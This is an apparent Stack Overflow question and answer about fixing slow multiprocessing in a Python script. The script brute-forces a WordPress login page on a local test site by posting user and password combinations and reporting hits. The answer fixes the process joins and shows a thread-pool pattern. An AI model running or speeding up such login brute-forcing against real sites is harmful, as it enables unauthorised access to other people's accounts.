How fix multiprocessing in my code?

Question

Without multiprocessing my code brute-forced my test-site in 8 seconds (4 logins\100 passwords). With multiprocessing it took 115 seconds instead.

import requests
import multiprocessing
import itertools
from concurrent.futures import ThreadPoolExecutor

def main(user, password):
    url = 'http://192.168.1.6/wp-login.php'
    payload = {'log': user, 'pwd': password}
    r = requests.post(url, data=payload)
    if ("/wp-admin/" in r.url):
        print("[+] {}/{}".format(user, password))
    else:
        print("[-] {}/{}".format(user, password))


if __name__ == '__main__':
    users = get_usernames()
    passwords = get_passwords()
    with ThreadPoolExecutor(max_workers=4) as pool:
        for user, password in itertools.product(users, passwords):
            pool.submit(main, user, password)

You probably want `itertools.izip` rather than `product`. – msw Oct 15 '17 at 20:14 — msw, Oct 15 '17 at 20:14

Josh Karpel · Answer 1 · 2017-10-16T04:01:20.037

3

NB: processes are the wrong tool for input/output related speedup. See this discussion.

You joined the process inside the loop, so the code is completely serial (each process completes before the next one is created). You need to move the joins into a separate loop.

processes = []
for user, password in itertools.product(users, passwords):
    p = multiprocessing.Process(target=main, args=(user, password))
    processes.append(p)
    p.start()

for p in processes:
    p.join()

To let the multiprocessing module handle this for you, look into using a pool instead of creating the processes manually. However, as mentioned above, you probably want a thread pool, not a process pool, in which case you should look here.

As requested, an example of using a pool:

from concurrent.futures import ThreadPoolExecutor
import itertools

def foo(a, b):
    print(a, b)

if __name__ == '__main__':
    names = ['jim', 'john', 'jill', 'jen']
    passwords = ['1', '2', '3', '4', '5', '6']

    with ThreadPoolExecutor(max_workers = 4) as pool:
        for name, password in itertools.product(names, passwords):
            pool.submit(foo, name, password)

edited Oct 16 '17 at 04:01

answered Oct 15 '17 at 20:03

Josh Karpel

2,110
2
10
21

1

@ThelazyadherentofPython Well, yes. You're probably spawning a huge number of processes. As I said, you should be using a pool with a limited number of processes or a thread pool. – Josh Karpel Oct 15 '17 at 20:15
I have been through the past four days used Pool, but it's not work, because I don't know how put my user and password as one argument. I mean, p = multiprocessing.Pool(main, list), where list should be my user and password. – The lazy adherent of Python Oct 15 '17 at 20:18
@ThelazyadherentofPython use [starmap](https://docs.python.org/3/library/multiprocessing.html#multiprocessing.pool.Pool.starmap). – Josh Karpel Oct 15 '17 at 20:21
Can u make example using my code, because I trying and only more problems. – The lazy adherent of Python Oct 15 '17 at 20:41
@ThelazyadherentofPython I've added an example using a `ThreadPoolExecutor`, which is the right thing to use. – Josh Karpel Oct 15 '17 at 20:51

How fix multiprocessing in my code?

1 Answers1